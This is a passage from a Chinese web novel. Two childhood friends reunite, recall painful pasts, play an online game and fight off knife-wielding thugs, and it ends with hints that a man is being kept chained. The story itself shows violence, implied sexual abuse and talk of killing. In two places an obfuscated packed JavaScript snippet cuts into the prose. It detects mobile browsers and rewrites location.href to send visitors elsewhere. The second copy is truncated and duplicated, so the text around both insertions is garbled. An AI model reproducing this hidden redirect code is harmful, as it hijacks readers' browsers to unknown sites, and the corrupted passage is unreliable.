徐然避口不提那些褪色的旧事,他瞧了眼程絮苍白的脸色,问:“怎么脸色这么难看?” “没事,就饿的。”程絮手臂搭上了徐然的肩,一如以前两人翘课翻墙去网吧那勾肩搭背的样子,“一会儿回去等我姐给我下葱油面吃,你要一起吗?叫声爸爸我考虑分你半碗。” “A大附近那么多好吃的你不请我,就分我半碗葱油面,我们飓风魔术团出来的唯一一位大学生怎么小气吧啦的。”徐然笑着拍开程絮的手。 “早就缀学了,我们啊,可都是一样的坏学生。”程絮语气毫无停顿,神色轻松地说着,“你要想吃A大附近哪家馆子,叫我姐点个外卖。” 徐然看着程絮的眼睛,目光对视的瞬间,他们所有被一句带过的残痛过往都在对方心中呈明。 不必解释,不必详提,狼狈的苦楚一眼即知。 片刻后,徐然笑出了声:“你得庆幸你辍学你姐没把你腿打断。” “没办法,我当时跑得飞快,我姐没撵上我。”程絮开玩笑地说着,他看到老林将车开进来了些,拉着徐然往车上走,“吃完饭去网吧打游戏吗?” 徐然带着黑色紧制手套的手指微蜷,拒绝的话最终也没能说出口,他笑着应了下来。 有那么一瞬间,徐然恍惚感觉自己回到了中学时期的日子,一切还没有发生,那些一起逃课的午后如同今日般阳光明媚。 车上的老林正在抽烟,他打量了一眼徐然,像是颇觉眼熟:“程絮,这你朋友吗?挺俊。” 程絮见徐然被烟气呛了一口,皱了皱眉还算客气地说:“林叔,别在车上抽烟。” 老林讪讪地掐了烟,他突然认出来徐然是早上那一场连环车祸的主人公之一,意味深长地感叹了句:“这A市真小。” 程絮的低血糖让他眼前有些发黑,徐然注意到他的异样,主动凑过去让他靠着:“程絮,你看着瘦了很多。” 勉强听清这句话的程絮“哼”了一声,证明般扯过徐然的手去碰他臂膀上紧致有力的肌肉:“……你才瘦,细狗似的。” 徐然无奈地笑着:“好好。” 池鱼像是被什么事耽搁了,近半个小时才从医院出来,她打开后车门时,程絮已经半靠在徐然身上快睡着了。 金烂的阳光投落在两人身上,连发丝和睫羽都染上柔和的橘辉,就像是,定格了一幅在记忆中褪黄的画。 池鱼足足缓了两秒,才从惊喜的冲撞中回过神来:“徐然?!” 徐然冲池鱼一笑,那双清冷的眼中溢满温柔:“鱼姐。” “好久没见到你了。”池鱼伸手越过程絮去揉了揉徐然的头,语气有一丝怅然,“怎么突然就跟我们断了联系。” 徐然微微低下头,好让池鱼的手伸得不那么费劲,他随口解释道:“之前身体不好,休养了一段时间。” “生病了?你小子,生病了怎么都不跟我们说呀?!”池鱼皱着眉,语气严厉。 她一瞬间不知道脑补了多少徐然生着病无人照料孤孤零零地躺在病床上的可怜模样,看向徐然的目光心疼坏了。 程絮迷迷糊糊听到池鱼的训斥,勾了下唇,好兄弟有骂就是要一起挨。 “没什么大事。”徐然扶了下程絮枕着他肩膀快掉下来的脑袋,“今天刚好撞上程絮,不介意我蹭个饭?” “当然不介意。”池鱼坐上了副驾驶,她听出了徐然话中的回避,“不过你们一个两个的,都长大了,翅膀都硬了,什么事情都不愿意跟家里说,也没把我当姐姐。” 这是,生气了。 徐然抿着唇,想不到该怎么哄人,车上气氛凝固,就这么沉默了一路。 …… 美郡清辉是个年代很久了的老式小区,没有高栋,墙砖扑灰,好些盆栽随意摆在阳台走廊上,花草生长得乱杂无序。 它隐没在寸土寸金的繁华闹市里,浸染着俗世的烟火气,不漂亮,像被忽视的尘埃。 池鱼和程絮两家是邻居,父辈在同一家装修公司做工人,长年住在这里。 后来池鱼父亲意外染上毒瘾不敢回家死在了外面,池鱼母亲抑郁自杀,程絮父母怜她孤苦年幼,一直把她当亲闺女一样照抚着。 ……再后来,程絮父母出车祸去世,就只剩下池鱼和程絮相依为命。 “最近忙,屋子没怎么收拾。”池鱼这些年都住的是程家的屋子,就算后来大一搬去宿舍住了一段时间,这里的租金也一直没有断交过。 她拿钥匙开门,进屋后说,“你俩先去房间歇歇,我做饭。” 徐然曾经也是这里的租客,他当初受不了那个日益冰冷的家,上七中认识程絮后听说这边有便宜的出租房便搬来了这里。 虽然过往有诸多不幸,但这里确实有家的温馨气息。 记忆里小区的老人都很和蔼,有很多次一边搓着麻将一边问,“小徐啊,是不是谈女朋友了呀?怎么又逃课不去学校……跟你这小娃讲,你这样不行的呀。” 想到这些,徐然突然很轻地笑了笑,积郁已久的心情畅快不少。 还挂在徐然身上的程絮拍了拍他肩膀:“乐什么呢?” “小然,帮我照顾一下程絮,饭很快就好。”池鱼的声音从厨房传来。 “家里有糖吗?先含一颗缓缓吧。”徐然没回答程絮的话,他搀着程絮去了房间的床上,“还逞强,你都快晕了。” 空置许久的房间并没有积灰,所有的陈设还是同从前一样,程絮有一瞬的恍然。 程絮躺倒在柔软的床上,他卸下所有的假装,难受地蜷紧身子:“书架第二层应该有放巧克力,你看一下,如果没过期的话。” 徐然依言去翻了一下,果然有一盒巧克力,还都是新的。巧克力旁是一本放旧了的诗集,能看到有时常翻阅的痕迹。 徐然拆了一小袋巧克力,问道:“你缀学后这几年就躲在外面,没有回家?” “嗯。”程絮用被子捂住头,敷衍地应了声。 “难怪鱼姐那么生气。”徐然垂下眸,把程絮从被子里扒出来喂了巧克力,他怀疑道,“你这个样子,下午还能跟我去网吧打游戏?” “能。”程絮坚强地爬了起来。 “低血糖手会抖的吧,可别拖后腿。”徐然伸手将书架那本旧诗集拿了起来,“我很久不碰游戏了,技术不如从前,带不动你。” 旧诗集的扉页上有一段手写的短诗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238673|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是池鱼的字迹。 徐然低喃着念出了最后一句。 那一瞬间,徐然像是被什么击中了心脏,疯戾的怨火将生命点燃,歇斯底里的,焚尽时空中一切的悲伤。 听到那句话的程絮僵硬了一瞬,诧异地凑了过来:“你刚刚……在念什么?” 他目光扫过徐然过分用力到发白的指节,而后落到扉页的那首短诗上…… 深渊之上,仿佛有千万个声音—— 搁浅的苦难,灼人的悲伤,被疯狂呐喊出,散播于大地。 如火的天使降临。 寒星照彻长夜,炬火予我光明。 “这诗集是温阿姨的遗物,她年轻时写过不少诗,不过最后这句是姐自己添的。”程絮看向神色异样的徐然,“这一句姐用在过高二的征文里,题目是‘殉难者’,二等奖第一名,你不记得吗?” “后来有在期中升旗仪式上读的那一篇?”徐然敛了下目光,平静地说,“我当时不在,徐权中途把我叫走了。” 程絮突然伸手扣住了徐然的手腕,他觉得徐然情绪不对劲,很不对劲。 徐然和他四目相对了一刹,然后很轻地笑了一下:“怎么了?这么紧张。” “徐然!”程絮大声喊着,语气有些焦怒,“告诉我,你现在在想什么!?” 徐然沉默了一瞬。 池鱼从厨房探出半个身子望向房间,远远地高声问着:“怎么了?怎么吵架了?” “没事,姐。”程絮应了一声,然后光速甩上房门。 “……殉难者,这三个字太高尚了。”徐然抬头看向窗外明媚的天光,晦暗的眸光闪烁,“我在想炬火焚尽长夜。” 程絮感受到徐然的身体在发抖,但不像恐惧,像愤恨,又像兴奋。 程絮想也没想地拥抱住了他:“我的直觉告诉我,你想做伤害自己的事。” 以一副千疮百孔的躯壳,换噩梦消散,苦难尽湮,不亏不是吗? 徐然心里那颗仇恨的种子,像是在一刹那间生长成参天大树,错综复杂的根系盘扎进他心脏的每一支血管,开出血色的花簇来。 程絮眼里,徐然此刻的沉默便是默认。 “这几年你遭遇了什么,你不想提及,我也不追问。”程絮顿了顿,压低着声音,认真道,“如果……如果你有什么恨到想杀了的仇人,我可以帮你,有什么事不要一个人担着。” “谢谢,但我想亲自处理。”徐然的头轻轻抵在了程絮肩上,像是让自己负累多时的重量找到了一个可以依托的地方。 “好啊!”隔着门板偷听的池鱼踹门进来,手里还拿着锅铲,“你们俩毛都没长全的死小子!心野胆子肥到想密谋杀人吗!?” !!程絮和徐然同时吓得心脏都漏了一拍。 池鱼眼瞳中溢满怒色,她抬腿对着程絮屁股就是一脚:“当法律是死的吗!?当你们老姐我是死的吗!?” 还抱着徐然的程絮被这一脚踹的,两人一起摔跌在了床上。 “你们都走上歧路,出了事有没有想过我该怎么活啊!”池鱼抡起锅铲柄就朝程絮抽过来。 程絮下意识抬起手臂做出格挡姿态,但预想中的疼痛并没有落下来。 池鱼想起程絮手臂上青痕遍布的伤,终究没忍得下心,她眼中有泪花,哽咽地一点点蹲下身,姿态脆弱地蜷抱住自己。 程絮从床上起身,扯着池鱼的袖角在她面前跪了下来,语气小心而可怜:“姐……对不起。” 徐然看着这一幕,反应迅速地解释:“鱼姐,程絮刚才那只是口不择言的安抚人的话,没过脑子,他和我并没有杀人的意思。” “你、你别紧张啊,就像平时在外面遇到那种不爽的人会放狠话说我弄死你,但是实际上都只是口头上骂几句而已。” 程絮不动声色地看了徐然一眼,顺着他的话说了下去:“姐姐,我在外面就是个小混混,被人拿棒子撵的那种,我没有胆子真杀人的。” “我保证,以后不会说这种吓人的浑话了。” 池鱼闭了闭眼晴,掩下痛苦:“我知道,我知道你们这两年在外面肯定都受了很多很多苦,不报警自然也是遇到了连他们都解决不了的事,但是既然已经回家了,以后都会好的……” 可是生命溃烂化脓的伤口不会因为掩上一块白布就愈合消失。 徐然沉默一瞬,语气轻松地引过话:“鱼姐,我好像闻到菜糊的味儿了。” 程絮晕眩感来得适时,他身形摇晃了一下,抓住池鱼的衣袖轻拽了拽:“姐姐。” “我关火了的。”池鱼抹了下眼泪,站起身恶狠狠道,“都出来吃饭。” 片刻后,程絮和徐然乖巧地坐在餐桌前,一声不敢吭。 25. 黎眠乐园 碗里是只放了油盐葱花的清水面,但两人面上都覆着两个大大的煎得金黄的鸡蛋,如果不是做饭的过程被突然打断,能看出池鱼是想将那鸡蛋煎成爱心型的。 “吃菜。”池鱼看着连筷子都不敢往碗外伸的两只,叹了口气,先开口道歉,“今天是我太敏感了,我刚才发脾气是我不对,吃饭就好好吃饭,肚子里不要揣着气。” 程絮捧着碗喝汤,把脸遮住:“姐,我下午想和徐然去网吧打游戏。” 池鱼沉默了一瞬,放下筷子收了碗:“嗯,我下午也有事,你们别玩太晚,早点回来。” 程絮和徐然对视了一眼,徐然几乎能从程絮眼中读到“我姐今天这么好说话?”的疑惑。 “哎,姐你不吃了吗?”程絮看着池鱼进卧室的背影喊道。 “你们吃你们的,我中午吃过工作餐。”池鱼像在卧室里找什么东西,而后她拿着两条坠着金铃铛的红手绳出来。 “伸手。”池鱼捋起程絮卫衣的袖口,认真地给他系上手绳。 “这是……”程絮目光落在这个两年前的旧款金饰上。 “本来是给你准备的考上A大的升学礼物。”池鱼语气平静地回答道,“现在不算礼物了,里面放了定位器,防止你又玩失踪。” “……啊?”程絮明显怔住。 徐然目光扫过另外一条铃铛小些的手绳,笑容又尴尬又苦涩地往回缩了缩手:“姐,这,我就不用了吧?又不是小孩子了。” 程絮直接就把徐然左手摁住了。 “放心,这个没有定位器,铃铛孔太小了装不下。”池鱼原本的严肃脸忍不住发笑,“而且本来就有你的一份,这是祈福的手绳,戴着驱驱你身上的病气也是好的。” 徐然最后还是被迫系上了这条命运绳索,以至于他在下午打游戏敲键盘时内心还有一丝近乎绝望的无奈。 关键是,这铃铛它响啊! 网吧里时不时有人目光往徐然这边扫,键盘操作手速快出残影的徐然面上神色泰然,他一边听着铃铛几乎摇出一支快曲一边平静地喂了程絮一个七连杀。 “6啊!不愧是职业级!”程絮背向后仰靠在椅背上,极爽地呼出一口气。 “别分心,抓紧时间收割一下A区资源。”徐然目光一刻也没有从屏幕上挪开,提醒道,“慢着,北纬47°方向有怪,注意掩护。” “看到了,是个小boss,在树坑后面。”程絮瞬间坐直了身体,视角切过去,“有两个精灵队友在那边,看起来状态不太健康,要去救他们吗?” “不用,60级的箭毒木蛛我们强行击杀会掉污染值。”徐然眉头微皱,当即舍弃道,“有其他队包抄过来了,保持警惕,跟我往林区中心去。” “好的大佬。”程絮并不质疑徐然,即使精灵的净涤命技在乐园后期毒雾降临时至关重要。 游戏画面里,徐然操纵的角色是一只面色病白的吸血鬼,但他手持着一把附魔的骑士长剑,劈砍着眼前的森林杂乱的树木,踩到断枝的声效极为真实,以致于会掩盖敌人靠近的脚步声。 垫后的程絮神经正紧绷时,突然听到徐然叹息地问了一句:“真的不能摘吗?” “不许啊,我跟你说不许!”程絮愣了一秒,语气强硬,“你摘了我回去就告状。” 他说话的那一刹,森林侧方突然袭出一只潜伏许久的狼人玩家,但程絮残影都还没看清,只听到耳边一阵铃铛响后,那只狼人就被银白长剑挑断了喉咙。 一击毙命。 “我靠。”程絮咽了咽口水,“你为什么用圣剑技能不会有前摇啊。” “Z+A键,技能提前起手就能瞬发,基操。这个狼人出现的太快了,下个人头喂你。”徐然语气平静,他目光扫过程絮的铃铛,“……所以为什么你的不响?” 感受到一丝怨气的程絮笑着晃了晃手腕:“应该是被定位器塞住了吧。” “你好像并没有为此有一丝的不高兴,真的会有人喜欢被家长管制到这种程度吗?”徐然其实有一丝不解。 “她还乐意管我,我还有什么不知足的。”程絮看着手绳的目光微敛,笑容很轻。 徐然认真看了程絮一眼,然后才将目光重新投回屏幕:“你要不要考虑回去复读?这么在外面漂着鱼姐会伤心的吧。” 程絮顿了一下,刚想说什么,游戏中突然四个方向都传来磷蓝色火光,他控制他的巫师角色和徐然背靠背作出警戒姿态。 火光高窜到树上,周围到处都是漂浮的幽火,从四个方向走出八个幽灵玩家,将程絮两人团团围住。 “幽灵队。”徐然目光一沉,“找他们主c。” 幽灵角色会因为同队的幽灵数量获得伤害和治疗增益,一般幽灵队的配置会有一个主c两个副c和5个奶盾,算养猪流。 遇上这种幽灵队即便操控角色的是菜鸟玩家都很难缠,因为八层增益buff叠起来的数值真的很超标,而且他们的幽火是群体锁定伤害,正常被困住耗都能被耗死。 程絮先手放了一个钩月毒咒,但被他正对面的两个幽灵隐身闪避掉了。 “毒叠在对方幽火上。”徐然在那两个幽灵近程絮身前祭剑自戮,然后以锁血狂化状态替程絮扛了两波伤。 那两只幽灵瞬间被吸血鬼的换伤技能重创。 “啊?叠幽火上?我不会啊。”程絮选巫师只是为了跟徐然的吸血鬼打配合,这角色发育起来能毒能奶高伤高治疗,但是命技升级需要堆大量人头数,是操作和战术都需要高技巧性的冷门角色。 “那接个小治疗。”徐然看着同时围上来的六个幽灵,转而道,“手速跟上,然后你躲好。” 程絮在徐然锁血状态失效的瞬间给他丢了个小甘霖术,徐然血量被抬到15%,随后扭曲的吸血鬼身体化作了一团红色的血雾。 吸血鬼这个角色除了敏速高以外,是出了名的脆皮,技能以血换血以伤换伤,血量高于40%时有高回复的自愈效果,受到致命伤会锁血1分钟并狂化。 是个伤敌一千自损八百的狠角色,目前主流玩家走的都是自刀高爆伤流,但他还有一个特性是血量低于20%会进入暗夜鬼魅状态,期间无法选中且拥有三次无冷却的瞬移。 那同时上的六个幽灵里,东面和西南面的两个明显是输出位,有幽火在他们身周凝结,形成无法近身的蓝色火墙,他们手中的幽莹石藤杖蓝光极亮地闪烁,幽火无限复制扩散开,在四周卷起一簇又一簇的火龙。 徐然皱了下眉:“他们有风系武器。” 程絮一顿操作疯狂躲伤,虽然丢出去的命技一个没中,但也没让对面打掉他的血,他目光冷锐地盯着屏幕,神色带上几分认真。 鬼魅状态除非使用瞬移不然无法移动,只有在三次瞬移用尽之后才会解除状态,对面双c的全防状态让徐然没有近身一击毙命的把握。 但徐然不怎么着急,他注视着程絮的操作,像是被程絮身上突然褪去玩闹沉淀下来的那股冰冷戾气吸引住。那种感觉,像饮血无数的无鞘刀,让他都生畏。 “对面吸血鬼别当缩头乌龟啊。”耳麦里传来了对面玩家挑衅的垃圾话,“你就这样让你同伴一个人挨打?不会是怂得哭鼻子的妹子吧?” “女生不就喜欢这种长像娘们唧唧又苟又赖皮的秀气角色吗?”另外一个人笑着说,语气带着几分下流的调戏,“你开麦撒个娇,再把装备和星石都放下,哥哥们考虑放你一马。” 程絮冷哼一声,打开全区麦嘲讽:“不是吧不是吧,你们不会忘了1区绝望之森上一个用附魔圣剑的吸血鬼是谁了吧?” 徐然勾了勾唇。 对面噤声了一瞬,片刻后才说:“他以为他是JF.魔术师啊,徐神都淡圈两年了。” 但像是生了几分忌惮,对面的攻击骤然变得更加密集。 “风系武器应该是南面那只幽灵的耳饰,没猜错的话他才是主c,虽然他一直没有用伤害技能。”压力徒增的程絮手上片刻不敢懈怠,他分析着问,“我怎么做才能给你争取机会?” “试试用钩月毒咒污染对方幽火?”徐然也不跟程絮客气,上来就让他在这种时候尝试高难度的微操,“身防别露破绽,带巫血骰子了吧?掷单数后的0.6秒可以改变钩月命技选中对象,是个一直没被修复的bug。” 程絮在装备匣翻了半天才找着巫血骰子,还连摇了三次才摇到单,但他之后的操作挑不出错处。 银月牙儿形的叠毒印记在操作成功的瞬间附在了逼得他四处躲避的幽火上,然后蔓延开。 对面明显猝不及防,阵型和布防都被打乱,麦里的声音也一片混乱:“我靠,我的幽火为什么会对我造成灼伤效果!!你们开了吧!” “敢在《黎眠乐园》里面开修改器,你们俩号没了!!等着被全网封禁吧!”愤恼的尖叫声逐渐扩大。 徐然手执圣剑瞬移到对面主c身后,剑影封喉,而后连续杀了剩下两个副c。 他打开麦,声音带着几分笑:“是我,JF.魔术师。不是修改器,只是官方默许的bug。” 然后,全区频道都炸了!原本只是开全区麦吃各种瓜看戏的人全追着徐然问这问哪,他们坐标很快就被人爆了出来。 程絮扬眉看他:“这么高调?这个时间点林区还剩下的都是高级玩家,不怕他们围猎我俩?” 徐然区麦还没关:“让他们来。” 嚣张!狂傲!猖獗!气焰太盛! 程絮盯着徐然,那种神色张扬身上发光的状态还是一如曾经的晃眼,他心终于放下了半截,噗笑出声:“行,你狂你上,反正之后我都躲你后面了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238674|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 剩下的几名幽灵队员已经遁身逃了,他俩没有想到最先赶到这里的是先前那两只以为活不成了的精灵队友。 队伍麦里传来女生激动的声音:“天呐,你真的是徐神吗?我当初好喜欢你的啊!两年多前你打的那么好,怎么突然也没说退役,也没说出什么事情就不打了啊!” “生了场病,手……也受了点伤。”徐然面对粉丝像是有点不自然,避重就轻道。 “这样啊,那以后是不是不能回赛场了?”女生语气叹息,“那你可以开开直播吗,我们只要还能看到你就很高兴。” “应该不能。”徐然回道,虽然是拒绝的话,但其实语气不算冷淡。 “那、那也没事。”那女生都快哭了,语气沮丧又小心地说,“我们俩实力在路人局还算中上,这把让我们跟着你吧,估计一会儿真的会有人过来堵你。” “好。”徐然顿了顿,安抚道,“游戏同队是优先同城匹配的,你们如果在A市的话,月底可以来英萃馆看魔术秀演,我也会在。” “!!真的吗?!早就听说徐神你线下是特别厉害的魔术师!”那女生满血复活,“那我可以要签名吗?!” “当然可以。”徐然语气温柔,他观察了下地图,标记了一处林区中心的洞穴,往那个方向走。 程絮跟在后面给徐然补血,他看着徐然戴着黑手套的双手,关了麦敏锐地问:“你手受了伤?怎么伤的?严不严重?怎么没跟我说?” “已经养得差不多了。”徐然回道,“没什么影响。” 程絮狐疑,说话一点不客气:“真的吗?能感觉到你状态和巅峰时期差很多,不只是手感生疏的原因吧——如果是以前的你,这种都是屠戮局,像刚刚那种情况你根本不用等到我破对面的身防就能以一敌群全数击杀。” 前职业联赛最高单人击杀记录保持者·徐然苦笑道:“你高估我了。” “徐然!”程絮发了火,目光幽沉,“你他妈别在老子面前装!” 徐然神色不变:“是谁中午才跟姐姐保证不说浑话了,这么快就冲人爆粗口?” 程絮拉住徐然键盘上的左手,作势要去扒他的手套:“别拿我当你那些粉丝一样的外人,我不需要你苍白的安抚,我只需要事实真相,我说过无论什么情况我都可以帮你。” 徐然仍由程絮扒,当程絮看清他手上一道又一道褪色的恐怖肉疤时,声音都发哑:“谁……谁干的?” 徐然抬眸看了程絮一眼,像是下定了坦白的决心,他把右手护到腕部的手套也一并摘下——手腕上是新包扎的白绷带,右手上也遍布着和左手一样的疤痕……最恐怖的是掌心处新肉增生的伤口,这里,明显曾经被什么利器对穿过。 那样一双,本该因修长骨感而漂亮到诱人的手,变得如此狰狞可怖。 程絮双眼猩红地扣着徐然的左手腕,整个人气息都变得很可怕。 “徐神,你们怎么不走了?”耳麦里传来精灵女生的声音。 程絮起身拉着徐然就要走,徐然仓促间开麦解释了句:“出了点儿事先不打了,你们先自行往标记点去吧。” 徐然被程絮拽进洗手间的隔间,他平静地调侃了句:“为什么现在说悄悄话还要像上学一样躲厕所啊。” “不知道姐出去了没有,在家说也不安全。”程絮神色阴沉,“你是有什么计划吗?……那场临时加的魔术秀演?” “你现在的状态不像是能完成一整场大型魔术的样子。” “临时起意。”徐然笑了笑,坦白的念头有一瞬动摇,“你就不要掺和了,知道太多还平白担个包庇罪。” “你能不能不要一直把我撇在你计划外面?”程絮皱着眉,“你是觉得我还能安安稳稳地回去读书?开什么玩笑,我这两年杀人抛尸的丧良心事不知道做了多少,早回不去学校那种清水池了。” “杀人犯?没看出来。”徐然不为所动。 “你不要逼我揍你。”程絮气竭,捏起拳头将人抵在门板上。 徐然仍由程絮揪住他领子,两人对视许久后,他先败下阵来:“你和夏荷还有往来吗?能联系到她吗?” “拜托,你不是飓风魔术团的团长吗?”程絮无语住,“我见过她弟弟几面,应该能联系上。” 夏荷是魔术团的道具师,最开始是他们在七中校社团里认识的,在大家都还只是业余玩闹时,她制做的道具水准就已经到了一种极为专业的程度。 看来月底这场魔术秀徐然是认真的,程絮猜到徐然可能会在演出上做些什么,一些人体肢解的大型魔术道具可真可假,但公开做出这种事情徐然很难收场的。 徐然看出了程絮的顾虑,轻握住程絮还捏着他领口的手:“放心,魔术演出本身不会有问题,我不会牵连无辜的人,只是想了却一个遗憾罢了。” 26. 给个名分吧 程絮将手从徐然手里抽出来,他神色凝重,双手摁着徐然的肩膀深吸了口气:“你手上的伤到底怎么来的?这几年究竟发生了什么?……身上还有没有别的伤了?” “一言两语说不完。”徐然错开目光,还是选择了回避。 “那就挑着重点长话短说!”程絮听着就窝火,他不跟徐然废话,上手直接扒拉徐然的衣服,“别动,让我检查一遍伤。” 徐然却僵了脸色,死命将衣服捂得紧紧的:“程絮,别这样。” 程絮一看这模样就知道有鬼,又急又心疼地制住徐然的双手,强行撩开徐然的衣服。 然后,程絮如被雷击般僵在原地。 ——入目没有他想象中的恐怖伤痕,但有一枚形似戒指的银环穿钉在徐然胸前,像宣誓着宠物主权的耻辱烙印。 徐然神色平静麻木:“还要检查吗?下面也穿了环,大腿根处还刻了字。” “我,我不是有心……”程絮知道这有多难堪,他松开徐然后退了半步,慌措得目光都不知道该往哪里放。 他最后只能强扯着笑口不择言,自剖伤口自辱式地去宽慰徐然,“我,我这两年也过得挺惨……白天做用刀枪搏命的打手,晚上还要给人当泄欲的狗,身上就没有一天不落伤过。” “好了,程絮,你不用这样。”徐然神色淡淡的,完全看不出什么异样,“我不说,是知道这些会对你们的冲击很大。” “和徐权有关吗?”这样歹毒的羞辱,程絮想了一圈也只能猜想到徐权那个冷血渣滓卖子求荣这一种可能性。 “我和家里断了很久的联系了,这事和徐权没什么关系,虽然他后来平白得了不少好处。”徐然慢条斯理地将皱乱的衣服重新整理好,“我身上这点破事儿,只能说天降横祸,命中劫厄,怨不得别人。” 他话锋一转,“你刚刚说的是什么意思?你现在……” “嘭——”卫生间的门突然被人从外面踹开。 徐然声音顿住,分不清是叹了口气还是抒了口气:“还好,来的比我想象中晚一点。” “找你的?”程絮双目发红,浑身竖起了戒备,心中却存疑。 除了是荀越找来,还能是谁呢…… 徐然神色无奈到有些漠然,他点了点头,而后拉开厕所隔间的门。 但在他走出去的下一刹,一个青筋暴起的拳头突然迎着面向他砸过来。 程絮反应迅速,他猛得拽住徐然向后拉开,而后直直接握住那只拳头,另一只手借力用手肘钳制住来人的小臂,顺时针一拧,紧接一个侧翻摔,将袭击者撂倒在地。 厕所门口站着一个气质明显不同的黑衣寸头男人,随着地上那人的痛呼,他嘴角勾笑,抬手鼓了鼓掌:“好身手,你就是他们口里说的程哥儿?不愧是石爷带在身边的人。” 声音未落,就又有四五个打手围上来。 程絮护着徐然,如狼般的凶锐目光扫了过去:“黑蛇的人?” 领头迎面冲上来的那个刀疤男高举着手里的砍刀,气势凶狠:“知道你黑爷爷的名号,还敢在赌场挡我们老大的道!毛都没长齐的野小子,今天非得叫你长长教训!” 程絮眉头狠狠一皱,果断将徐然往回推进厕所隔间,然后利索地甩上木板门。 徐然听着门外激励的搏斗声,面不改色地拿起方才从程絮衣兜里顺出来的手机拨了“110”。 他声音并不压低遮掩,语气镇定从容:“喂?警官你好,我这里发生了一起恶劣霸凌性质的持械围殴事件,地点在大学城金街南路31号时代网吧的二楼卫生间,对方有七八个人,带着刀……” 一把砍刀从木板中间劈开了门—— “你小子,胆子不小?!”一个高大的花臂男将木门踹得四分五裂开,而后作秀般甩开手里的长柄折叠蝴蝶花刀,举刀对着徐然。 “这刀很漂亮。”徐然目光落在那泛着寒光的刀尖上,真心实意地夸赞道。 被激怒的花臂男对着徐然腹部一刀捅过去,窄狭的空间里徐然几乎没有躲避的余地。 但徐然的手如灵巧的缠蛇般攀握住他持刀的手腕,明明没使什么力气,却让花臂男的刀完美捅歪到了一侧的木隔板上。 “你——!”花臂男对上徐然带了几分笑意的眼晴,怒不可遏,掀手揪住他领子往墙上撞。 纯拼力气,徐然实在是没什么反抗能力,接连几记重击之下他额头疯狂出血,猩红的血液粘连发丝顺着眉骨鼻壑一路下淌,让他清秀的面容变得格外妖异。 徐然眼睫低敛,笑容越来越深,有那么一瞬像极了地狱爬上来的玉面阎罗。 他的手,握上了扎嵌在木隔板上的蝴蝶刀刃。 程絮在此刻拼着手臂被割开血口的风险强行冲出包围,他清瘦的身形却爆发不可忽视的狠劲,跳起来一记肘击狠狠击中花臂男的后颈,在花臂男眩晕失力的瞬间从墙上拔了徐然握着的蝴蝶刀捅向花臂男肩膀。 一刀见骨,花臂男尖锐的痛嚎声近乎贯穿耳膜。 “你没事吧?”程絮扶了徐然一把,徐然抬起头,他脸上蜿蜒流淌的血痕激起了程絮所有疯戾的怒气。 程絮扫了眼再次围住他们的几人,持刀冲了出去,有利器在手,他搏斗的境况比方才好了不止一星半点。 两三分钟过去,程絮只后肩被浅擦过一道血色刀伤,但其他被他打服的人断指的断指,瘸腿的瘸腿,身上皮开肉绽的皮开肉绽。 不奔着杀招去,蝴蝶刀的伤害终究有限,程絮在徐然面前出手还算有所克制。 “程絮……”徐然低低地喊了他一声。 暴怒的小狼放软身上竖起的毛,这么疯魔的一面展现在幼时同伴面前,程絮回过头看徐然的目光有些不自然的局促。 徐然顶着一脸血,冲他笑:“帅爆了。” …… 池鱼拿着齐蹊的胃伤药回了心理医院,却没有见到齐蹊,按理说今天齐蹊学校是没课的,而且医院晚上还被预约了一场心理会诊。 她给李铮打电话,李铮没接,只发短信给了她一个地址。 池鱼按着地址打车到东城郊,这是A市辖区内唯一一处山群,层叠的丘壑上覆着的金灿小麦迎风吹动时如同迭涌的浪波,天阔云洁,似乎连空气都多两分自由宜人的气息。 市里有意将这里发展成景点,只在外围圈划了两处做别墅区的地产开发,池鱼没想到齐蹊在这里会有这么大一栋别墅。 她按了门铃,双手拎着包,安静等齐蹊开门。 “怎么是你过来啊……”开门请人进屋的齐蹊神色含着温和的笑,像是有几分意想不到,“麻烦你了。” “不麻烦的,只是老板你怎么没去诊所,跑在这里偷闲?”池鱼笑容可人,她从包里掏出药放在客厅案几上,没有坐下的意思,“可别忘了晚上还约了病人。” “没忘。”齐蹊去厨房倒了杯热牛奶给她,朝她晃了晃手机,“定了闹钟的。” “听说老板你前两天一直在找郁教授?他病情是有恶化吗?人找到了吗?”池鱼捧着牛奶在客厅里随意转了一圈,她停在鱼缸前,手指隔着玻璃逗了逗金色小鱼。 “找到了,病况是有点反复,而且他腿意外受伤,学校那边我给他请了假,我这几天会陪他在这边度度假养养伤。”齐蹊并不隐瞒,他甚至笑着邀请,“他在楼上,你想去看望一下吗?我可以赞助你一份探病专用果盘。” 池鱼眼睛明显亮了亮,笑着说:“金屋藏娇啊这是?那我该说一句恭喜老板?” “别贫嘴。”齐蹊把厨房刚切的水果拼盘塞池鱼手里,“你先自己上去吧,我吃下药。” “好的,守护郁教授的果盘,使命必达。”池鱼点点头,上了楼。 正南朝向最大的卧室,郁杉正坐在床上看一部推理电影,池鱼站在门口敲门时,他平静地侧头看了一眼,随后露出恬淡的浅笑。 “郁教授好~”池鱼甜甜地冲郁杉打招呼,她走近将果盘放在床头柜时,才注意到郁杉从脖子向下蔓延的吻痕以及墙壁钉死的锁环和那没入被子下面的银色链子…… 她嘴巴张得老大,咳嗽两声,错开目光:“哦买噶——你……老板,你们……嘶,玩的这么刺激的吗?非礼勿视,非礼勿视,咳咳,是我来的不是时候了。” 